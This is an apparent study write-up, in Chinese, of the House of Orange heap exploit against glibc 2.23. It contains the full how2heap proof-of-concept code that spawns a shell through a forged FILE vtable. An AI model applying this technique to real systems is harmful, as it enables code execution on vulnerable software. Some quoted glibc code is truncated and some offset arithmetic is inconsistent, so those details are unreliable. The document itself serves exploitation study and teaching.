House_of_orange 學習小結
House_of_orange學習小結
house_of_orange最早出現在2016年hitcon的一道同名題目,其利用效果,是當程式沒有free函式的時候,我們可以通過一些方法,來讓chunk被填入unsortbin中,成為一塊被free的chunk,然後通過對_IO_FILE_plus.vtable的攻擊,達到getshell的目的。
例子
以how2heap中的house_of_orange為例,來分析house_of_orange的利用過程,libc版本為2.23。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n ");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 = malloc(0x400-16 );
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p2 = malloc(0x1000);
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
/*
At the end, the system function will be invoked with the pointer to this file pointer.
If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh)
*/
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1] = 0x61;
FILE *fp = (FILE *) top;
/*
1. Set mode to 0: fp->_mode <= 0
*/
fp->_mode = 0; // top+0xc0
/*
2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base
*/
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
/*
4) Finally set the jump table to controlled memory and place system there.
The jump table pointer is right after the FILE struct:
base_address+sizeof(FILE) = jump_table
4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner
*/
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
/* Finally, trigger the whole chain by calling malloc */
malloc(10);
/*
The libc's error message will be printed to the screen
But you'll get a shell anyways.
*/
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
step1: fake _free_chunk
程式中,首先開闢了一塊0x400大小的chunk。
p1 = malloc(0x400-16);
申請到的chunk和top chunk緊鄰,我們再解釋一下top chunk。
glibc為了減少記憶體開銷,top chunk相當於提前分配出來的一塊記憶體池,然後以後申請比較小的chunk時,直接從top chunk中進行申請。如果沒有top chunk,每次申請堆塊都要從記憶體中直接申請,記憶體的開銷就會非常大。當top chunk不夠用的時候,glibc就要通過brk再次切割一塊記憶體到heap段,或者用mmap的方式從記憶體中再次映射出一塊記憶體到程序中。
我們現在申請出了一塊大小為0x400的chunk,這時候,假設我們存在一個堆溢位,可以修改到top chunk的size域。
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
可以看到,top chunk的size域被修改了。由於記憶體對映的時候,是以記憶體頁的形式進行對映的,記憶體頁的大小就是0x1000位元組,所以在本例中,溢位修改top chunk的size域的時候,大小隻能修改為0xc00,0x1c00,0x2c00等等。修改完top chunk的size域之後,申請一塊大於0xc00大小的chunk。
p2 = malloc(0x1000);
這時候,old top chunk就被釋放到了unsortedbin中,heap段也進行了brk拓展。
如果開始不修改top chunk的size域大小的話,glibc會通過mmap直接從記憶體中映射出一塊記憶體地址,這時候無法達到fake free的效果。
將chunk填入unsortedbin之後,就要用到unsortedbin attack和_IO_FILE_的一些知識來進行後續的利用了。
step2:FSOP
FILE 在 Linux 系統的標準 IO 庫中是用於描述檔案的結構,稱為檔案流。 FILE 結構在程式執行 fopen 等函式時會進行建立,並分配在堆中。我們常定義一個指向 FILE 結構的指標來接收這個返回值。FILE結構體是包裹在_IO_FILE_plus中的,兩個結構體定義如下:
struct_IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
程序中的FILE結構會通過_chain域彼此連線形成一個連結串列,連結串列頭部用全域性變數_IO_list_all表示,通過這個值可以遍歷所有的FILE結構。包裹_IO_FILE結構的_IO_FILE_plus中,有一個重要的指標vtable,vtable指向了一系列處理_IO_FILE檔案流的函式指標。實際上所有針對_IO_FILE_的攻擊都是通過修改或者偽造vtable中的函式指標來實現的,因為類似fopen,fread,fwrite,printf,exit,malloc_printerr等對檔案流進行操作的函式,最終的函式呼叫路徑都會指向_IO_FILE_plus.vtable上的函式指標。
vtable指向的跳轉表是一種相容C++虛擬函式的實現。當程式對某個流進行操作的時候,會呼叫該流對應的跳轉表中的某個函式,_IO_jump_t結構體如下所示:
//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
house_of_orange.c中通過偏移來確定了io_list_all的值,即main_arena+88與io_list_all的偏移相差0x9a8位元組。
io_list_all = top[2] + 0x9a8;
top[3]=io_list_all-0x10;
top在前面被定義為了old top chunk的地址,這裡top[2]的值就是unsortedbin中fd指標的值。
top[2]+0x9a8的地址處,就是全域性變數_IO_list_all的地址,修改unsortedbin chunk的bk指標為_IO_list_all的值如圖所示。
在本例中,最終實現攻擊的大致思路如下:glibc中定義了列印記憶體報錯資訊的函式malloc_printerr,malloc_printerr中實際起作用的是__libc_message函式中定義了abort函式,abort函式在中止程序的時候,會呼叫_IO_flush_all_lockp遍歷重新整理所有的檔案流,然後會呼叫_IO_FILE_plus.vtable中的_IO_OVERFLOW函式處理_IO_FILE結構體指標fp。我們在堆區偽造一個_IO_FILE_plus結構體,_IO_FILE_plus.vtable中_IO_OVERFLOW的函式指標修改為system函式地址,_IO_FILE結構體0位元組偏移處改寫為"sh"或者“/bin/sh”,這時候_IO_OVERFLOW(fp,EOF)就相當於呼叫system("/bin/sh")。
malloc_printerr函式呼叫鏈和具體程式碼實現如下:
malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW
malloc_printerr函式定義在malloc.c中,malloc_printerr中真正起作用的函式,是__libc_message,__libc_message函式被定義在libc_fatal.c中。
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr);
if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];
buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}
__libc_message函式定義在libc_fatal.c檔案中
void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
va_list ap;
int fd = -1;
va_start (ap, fmt);
#ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif
.......
if ((action & do_abort))
{
if ((action & do_backtrace))
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
}
abort()處理程序的時候,會呼叫_IO_flush_all_lockp遍歷重新整理所有的檔案流,然後會呼叫_IO_FILE_plus.vtable中的_IO_overflow函式處理_IO_FILE結構體。
int _IO_flush_all_lockp (int do_lock) { int result = 0; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0); #endif return result; }
試想一下,如果所有檔案流中,有一個_IO_FILE結構體的0位元組偏移處被改寫為"sh",將_IO_FILE_plus.vtable中的_IO_overflow函式指標改寫為system函式的地址,這時候執行
_IO_OVERFLOW (fp, EOF) == EOF)
就相當於是執行:system("sh")。
滿足一下三種情況的時候,有利用FSOP的可能:
1.當libc執行abort流程時;
2.當執行exit函式時;
3.當執行流從main函式返回時。
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10;
memcpy( ( char *) top, "/bin/sh\x00", 8);
top[1]= 0x61;
在上面的例子中,修改了unsortedbin chunk的bk指標,讓bk指標指向了_IO_list_all-0x10地址處,同時修改了unsortedbin chunk的size域為0x61。這時候如果重新申請chunk,會觸發unsortedbin attack,這時候_IO_list_all的值被改寫為main_arena+88,而unsortedbin由於不滿足分配規則,會被分配到smallbin[4]這一條連結串列中,這時候chunk的fd指標和bk指標指向main_arena+168處,main_arena+194地址處保留指向smallbin chunk的指標。
main_arena+194和main_arena+88之間的偏移是0x61位元組,對照上面的_IO_FILE結構體,可以看到_IO_FILE.chain和首地址之間的偏移正好是0x60。所以,就是說我們改寫_IO_list_all的值,讓_IO_list_all指向main_arena+88,然後mian_arena+194指向第二個_IO_FILE結構體,也就是我們佈置偽造資料的這個smallbin chunk。我們構造好資料,滿足利用條件,最終_IO_flush_all_lockp遍歷連結串列,就可以getshell。
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
偽造資料的流程如下:
FILE *fp = (FILE *) top;
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
size_t *jump_table = &top[12]; // controlled memory
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8
最終,malloc(10)分配失敗,呼叫malloc_printerr函式,觸發漏洞利用鏈,就可以實現getshell。